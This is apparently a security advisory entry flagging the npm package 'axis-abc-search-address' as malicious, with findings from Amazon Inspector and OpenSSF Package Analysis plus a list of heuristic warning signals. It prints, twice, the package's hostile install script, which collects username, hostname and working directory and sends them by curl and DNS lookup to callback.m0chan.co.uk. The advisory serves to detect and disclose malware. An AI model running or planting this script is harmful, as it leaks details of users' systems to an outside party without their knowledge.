axis-abc-search-address @100.0.0

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (12745094744214b57071e8ace8ee7d5ee3f9be6e7d29d338bb4bbd01842f2705) The package axis-abc-search-address was found to contain malicious code. ## Source: ossf-package-analysis (7cf11f479f198bd2d738c695692678985a9d3e3c7fc415c38393a8ffc95d7ea7) The OpenSSF Package Analysis project identified 'axis-abc-search-address' @ 99.99.99 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

Script: b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

Script: b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk

Matched 6 signal(s), weighted score 7: • [S_README_NO_CODE] Short README with no code block, no install instructions, and no usage/API section. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 1 code file(s), 1001 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.